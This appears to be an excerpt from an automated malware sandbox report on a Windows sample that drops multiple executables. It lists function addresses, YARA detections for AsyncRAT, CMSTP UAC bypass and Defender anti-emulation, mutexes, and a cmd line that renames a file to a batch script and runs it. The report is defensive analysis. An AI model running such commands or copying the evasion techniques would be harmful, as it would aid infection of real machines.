Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B387710	20_2_6B387710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B359F00	20_2_6B359F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3977A0	20_2_6B3977A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B376FF0	20_2_6B376FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B34DFE0	20_2_6B34DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3A9E30	20_2_6B3A9E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B387E10	20_2_6B387E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B395600	20_2_6B395600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B34C670	20_2_6B34C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3B6E63	20_2_6B3B6E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B369E50	20_2_6B369E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B383E50	20_2_6B383E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B364640	20_2_6B364640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B392E4E	20_2_6B392E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3A4EA0	20_2_6B3A4EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B365E90	20_2_6B365E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3AE680	20_2_6B3AE680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B34BEF0	20_2_6B34BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B35FEF0	20_2_6B35FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3B76E3	20_2_6B3B76E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B370512	20_2_6B370512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B36ED10	20_2_6B36ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B35FD00	20_2_6B35FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3A85F0	20_2_6B3A85F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B380DD0	20_2_6B380DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3B542B	20_2_6B3B542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B385C10	20_2_6B385C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B392C10	20_2_6B392C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3BAC00	20_2_6B3BAC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3B545C	20_2_6B3B545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B355440	20_2_6B355440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3A34A0	20_2_6B3A34A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3AC4A0	20_2_6B3AC4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B356C80	20_2_6B356C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B386CF0	20_2_6B386CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B34D4E0	20_2_6B34D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B36D4D0	20_2_6B36D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3564C0	20_2_6B3564C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4F6BE0	20_2_6B4F6BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B490BA0	20_2_6B490BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B46CA70	20_2_6B46CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B49EA00	20_2_6B49EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4A8A30	20_2_6B4A8A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B46EA80	20_2_6B46EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B428960	20_2_6B428960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B446900	20_2_6B446900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B50C9E0	20_2_6B50C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4249F0	20_2_6B4249F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4809A0	20_2_6B4809A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4AA9A0	20_2_6B4AA9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4B09B0	20_2_6B4B09B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4C4840	20_2_6B4C4840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B440820	20_2_6B440820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B47A820	20_2_6B47A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4F68E0	20_2_6B4F68E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B45EF40	20_2_6B45EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3F6F10	20_2_6B3F6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4B2F70	20_2_6B4B2F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B530F20	20_2_6B530F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3FEFB0	20_2_6B3FEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4CEFF0	20_2_6B4CEFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3F0FE0	20_2_6B3F0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B538FB0	20_2_6B538FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B48EE70	20_2_6B48EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4D0E20	20_2_6B4D0E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B490EC0	20_2_6B490EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B476E90	20_2_6B476E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3FAEC0	20_2_6B3FAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B51AD50	20_2_6B51AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4BED70	20_2_6B4BED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B578D20	20_2_6B578D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3F4DB0	20_2_6B3F4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B57CDC0	20_2_6B57CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B486D90	20_2_6B486D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4B6C00	20_2_6B4B6C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3FAC60	20_2_6B3FAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4CAC30	20_2_6B4CAC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B44ECD0	20_2_6B44ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3EECC0	20_2_6B3EECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B532370	20_2_6B532370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B50C360	20_2_6B50C360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B486370	20_2_6B486370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3F2370	20_2_6B3F2370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B462320	20_2_6B462320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3F8340	20_2_6B3F8340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4443E0	20_2_6B4443E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4223A0	20_2_6B4223A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B44E3B0	20_2_6B44E3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B488250	20_2_6B488250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B478260	20_2_6B478260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4BA210	20_2_6B4BA210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4C8220	20_2_6B4C8220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B5762C0	20_2_6B5762C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4C22A0	20_2_6B4C22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4BE2B0	20_2_6B4BE2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B458140	20_2_6B458140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B466130	20_2_6B466130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B4D4130	20_2_6B4D4130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3F01E0	20_2_6B3F01E0

Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: String function: 0040243B appears 37 times
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: String function: 004062A3 appears 57 times
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004172E0 appears 52 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6B37CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6B419B10 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0053E810 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6B3894D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6B413620 appears 32 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 8048 -ip 8048

Source: kqS23MOytx.exe	Binary or memory string: OriginalFilename vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: get_OriginalFileName vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000002.1654790861.000000000165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006121000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameJeKOAGx.dll0 vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000002.1686542999.00000000073D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameJeKOAGx.dll0 vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000000.1648874172.0000000001196000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesoftware2mp.exe$ vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000002.1655977960.00000000044F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePE.dll& vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000002.1689914217.0000000007701000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs kqS23MOytx.exe
Source: kqS23MOytx.exe, 00000000.00000002.1673044108.0000000005BC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePE.dll& vs kqS23MOytx.exe

Source: kqS23MOytx.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 21.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 37.2.SendBugReportNew.exe.2de2544.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 37.2.SendBugReportNew.exe.2de1944.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 37.2.SendBugReportNew.exe.2d9c877.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 43.2.cmd.exe.584da00.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 21.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 43.2.cmd.exe.5892acd.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 43.2.cmd.exe.58936cd.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 43.2.cmd.exe.5ed00c8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 42.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 42.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988, type: MEMORYSTR	Matched rule: Molerats_Jul17_Sample_5 date = 2017-07-07, hash1 = ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a, author = Florian Roth, description = Detects Molerats sample - July 2017, reference = https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR	Matched rule: Molerats_Jul17_Sample_5 date = 2017-07-07, hash1 = ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a, author = Florian Roth, description = Detects Molerats sample - July 2017, reference = https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\jnpqblobe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.mine.winEXE@98/161@9/17

Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe

Code function: 7_2_00407776 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

7_2_00407776

Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe

Code function: 9_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

9_2_0040936C

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

6_2_004044A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00433190 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,VariantClear,CoUninitialize,

2_2_00433190

Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe

Code function: 7_2_00401BDF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

7_2_00401BDF

Source: C:\Users\user\Desktop\kqS23MOytx.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kqS23MOytx.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8048
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5404:120:WilError_03
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Mutant created: \Sessions\1\BaseNamedObjects\IntelPowerEExpert
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2212:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6532:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7964
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7468:120:WilError_03

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

File created: C:\Users\user\AppData\Local\Temp\nss20E2.tmp

Jump to behavior

Source: Yara match	File source: 37.2.SendBugReportNew.exe.50000000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000003.1942337891.00000000027B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2260073492.0000000050001000.00000020.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\rtl120.bpl, type: DROPPED

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit

Source: kqS23MOytx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: kqS23MOytx.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\kqS23MOytx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	File read: C:\Windows\System32\drivers\etc\hosts

